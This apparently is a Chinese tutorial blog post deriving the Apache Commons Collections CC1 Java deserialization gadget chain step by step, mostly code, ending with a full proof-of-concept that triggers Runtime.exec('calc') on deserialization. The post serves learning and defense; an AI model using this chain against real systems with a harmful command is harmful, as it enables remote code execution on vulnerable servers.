危险方法:exec
第一步
| Runtime.getRuntime().exec("calc"); |
第二步
| Class c = Runtime.class; |
| Object runtime = Runtime.getRuntime(); |
| Method exec = c.getDeclaredMethod("exec",String.class); |
| exec.invoke(runtime,"calc"); |
第三步
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { |
| super(); |
| iMethodName = methodName; |
| iParamTypes = paramTypes; |
| iArgs = args; |
| } |
| |
| |
| public Object transform(Object input) { |
| if (input == null) { |
| return null; |
| } |
| try { |
| Class cls = input.getClass(); |
| Method method = cls.getMethod(iMethodName, iParamTypes); |
| return method.invoke(input, iArgs); |
| |
| } |
| Runtime r = Runtime.getRuntime(); |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); |
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
| return new TransformedMap(map, keyTransformer, valueTransformer); |
| } |
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
| super(map); |
| this.keyTransformer = keyTransformer; |
| this.valueTransformer = valueTransformer; |
| } |
| protected Object checkSetValue(Object value) { |
| return valueTransformer.transform(value); |
| } |
| Runtime r = Runtime.getRuntime(); |
| Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| Map decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer); |
| Class transformedmap = TransformedMap.class; |
| Method check = transformedmap.getDeclaredMethod("checkSetValue", Object.class); |
| check.setAccessible(true); |
| check.invoke(decorateMap,r); |
第五步:寻找checkSetvalue调用
找到可利用的位置
| package org.apache.commons.collections.map; |
| public Object setValue(Object value) { |
| value = parent.checkSetValue(value); |
| return entry.setValue(value); |
| } |
| Runtime r = Runtime.getRuntime(); |
| Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("key","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer); |
| for(Map.Entry entry:decorateMap.entrySet()) |
| { |
| entry.setValue(r); |
| } |
第六步:寻找readobject中调用setvalue
位置:sun.reflect.annotation
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { |
| Class<?>[] superInterfaces = type.getInterfaces(); |
| if (!type.isAnnotation() || |
| superInterfaces.length != 1 || |
| superInterfaces[0] != java.lang.annotation.Annotation.class) |
| throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); |
| this.type = type; |
| this.memberValues = memberValues; |
| } |
| private void readObject(java.io.ObjectInputStream s) |
| throws java.io.IOException, ClassNotFoundException { |
| s.defaultReadObject(); |
| |
| |
| |
| AnnotationType annotationType = null; |
| try { |
| annotationType = AnnotationType.getInstance(type); |
| } catch(IllegalArgumentException e) { |
| |
| throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); |
| } |
| |
| Map<String, Class<?>> memberTypes = annotationType.memberTypes(); |
| |
| |
| |
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { |
| String name = memberValue.getKey(); |
| Class<?> memberType = memberTypes.get(name); |
| if (memberType != null) { |
| Object value = memberValue.getValue(); |
| if (!(memberType.isInstance(value) || |
| value instanceof ExceptionProxy)) { |
| memberValue.setValue( |
| new AnnotationTypeMismatchExceptionProxy( |
| value.getClass() + "[" + value + "]").setMember( |
| annotationType.members().get(name))); |
| } |
| } |
| } |
| } |
| } |
第七步
1.解决Runtime不能序列化问题
反射出来
| Class r = Runtime.class; |
| Method m = r.getDeclaredMethod("getRuntime",null); |
| Runtime runtime = (Runtime) m.invoke(null,null); |
| Method exec = r.getDeclaredMethod("exec",String.class); |
| exec.invoke(runtime,"calc"); |
| Class c = Runtime.class; |
| Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c); |
| Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m); |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); |
| Transformer[] transformers = { |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| chainedTransformer.transform(Runtime.class); |
4.完成之后与第五步结合还有第六步一起结合来看
| Transformer[] transformers = { |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| Runtime r = Runtime.getRuntime(); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("key","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); |
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
| Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); |
| annotationInvocationHandlerconstructor.setAccessible(true); |
| Object o = annotationInvocationHandlerconstructor.newInstance(Override.class, decorateMap); |
| serialize(o); |
| unserialize("ser.bin"); |
5.这个不会发生什么因为还有两步没有做就是没有完成if判断
第八步
第一个if
| private void readObject(java.io.ObjectInputStream s) |
| throws java.io.IOException, ClassNotFoundException { |
| s.defaultReadObject(); |
| AnnotationType annotationType = null; |
| try { |
| annotationType = AnnotationType.getInstance(type); |
| } catch(IllegalArgumentException e) { |
| |
| throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); |
| } |
| |
| Map<String, Class<?>> memberTypes = annotationType.memberTypes(); |
| |
| |
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { |
| String name = memberValue.getKey(); |
| Class<?> memberType = memberTypes.get(name); |
| if (memberType != null) { |
| Object value = memberValue.getValue(); |
| if (!(memberType.isInstance(value) || |
| value instanceof ExceptionProxy)) { |
| memberValue.setValue( |
| new AnnotationTypeMismatchExceptionProxy( |
| value.getClass() + "[" + value + "]").setMember( |
| annotationType.members().get(name))); |
| } |
| } |
| } |
| } |
我来解释一下这个代码在干嘛
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
这个是不断遍历类型Map.Entry<String, Object>的membervalue,然后对他进行修改entrySet()
String name = memberValue.getKey();
这个代码是获取memberValue的键值
Class<?> memberType = memberTypes.get(name);
这个是获取memberTypes里面有没有和name一样的key
public @interface Target { ElementType[] value(); }
比如上面这个就是有的
public @interface Override { }
这个就是空的
所以我们选择给Class<? extends Annotation> type赋值为Target.class
然后给我们的map的key赋值为何target的key一样就行就是赋值为value,这样就能进入第一个if
| Transformer[] transformers = { |
| |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| Runtime r = Runtime.getRuntime(); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("value","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); |
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
| Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); |
| annotationInvocationHandlerconstructor.setAccessible(true); |
| Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); |
| serialize(o); |
| unserialize("ser.bin"); |
第二个if
发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。我们需要找到一个类,能够可控 setValue 的参数。
找到一个类,他的功能就是不论你传入什么都是返回一样的值,如果我们传入Runtime他就改变不了
| public ConstantTransformer(Object constantToReturn) { |
| super(); |
| iConstant = constantToReturn; |
| } |
| public Object transform(Object input) { |
| return iConstant; |
| } |
| Transformer[] transformers = { |
| new ConstantTransformer(Runtime.class), |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| Runtime r = Runtime.getRuntime(); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("value","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); |
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
| Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); |
| annotationInvocationHandlerconstructor.setAccessible(true); |
| Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); |
| serialize(o); |
| unserialize("ser.bin"); |
这样就成功了!
反序列代码
| public static void serialize(Object obj) throws IOException { |
| ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); |
| oos.writeObject(obj); |
| |
| } |
| |
| public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { |
| ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); |
| Object obj = ois.readObject(); |
| ois.close(); |
| return obj; |
| } |
最后的代码
| public class cc1 { |
| public static void main(String[] args) throws Exception { |
| Runtime.getRuntime().exec("calc"); |
| |
| |
| Class c = Runtime.class; |
| Object runtime = Runtime.getRuntime(); |
| Method exec = c.getDeclaredMethod("exec",String.class); |
| exec.invoke(runtime,"calc"); |
| |
| Runtime r = Runtime.getRuntime(); |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); |
| |
| Runtime r = Runtime.getRuntime(); |
| Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| Map decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer); |
| Class transformedmap = TransformedMap.class; |
| Method check = transformedmap.getDeclaredMethod("checkSetValue", Object.class); |
| check.setAccessible(true); |
| check.invoke(decorateMap,r); |
| |
| |
| Runtime r = Runtime.getRuntime(); |
| Transformer InvokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("key","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,InvokerTransformer); |
| for(Map.Entry entry:decorateMap.entrySet()) |
| { |
| entry.setValue(r); |
| } |
| |
| |
| |
| Class r = Runtime.class; |
| Method m = r.getDeclaredMethod("getRuntime"); |
| Runtime runtime = (Runtime) m.invoke(r,null); |
| Method exec = r.getDeclaredMethod("exec",String.class); |
| exec.invoke(runtime,"calc"); |
| |
| Class c = Runtime.class; |
| Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c); |
| Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m); |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); |
| |
| Transformer[] transformers = { |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| chainedTransformer.transform(Runtime.class); |
| |
| |
| |
| Transformer[] transformers = { |
| |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| Runtime r = Runtime.getRuntime(); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("value","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); |
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
| Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); |
| annotationInvocationHandlerconstructor.setAccessible(true); |
| Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); |
| serialize(o); |
| unserialize("ser.bin"); |
| |
| |
| Transformer[] transformers = { |
| new ConstantTransformer(Runtime.class), |
| new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), |
| new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), |
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) |
| }; |
| ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); |
| Runtime r = Runtime.getRuntime(); |
| HashMap<Object, Object> hashMap = new HashMap<>(); |
| hashMap.put("value","value"); |
| Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer); |
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
| Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class); |
| annotationInvocationHandlerconstructor.setAccessible(true); |
| Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap); |
| serialize(o); |
| unserialize("ser.bin"); |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| } |
| public static void serialize(Object obj) throws IOException { |
| ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); |
| oos.writeObject(obj); |
| |
| } |
| |
| public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { |
| ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); |
| Object obj = ois.readObject(); |
| ois.close(); |
| return obj; |
| } |
}
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)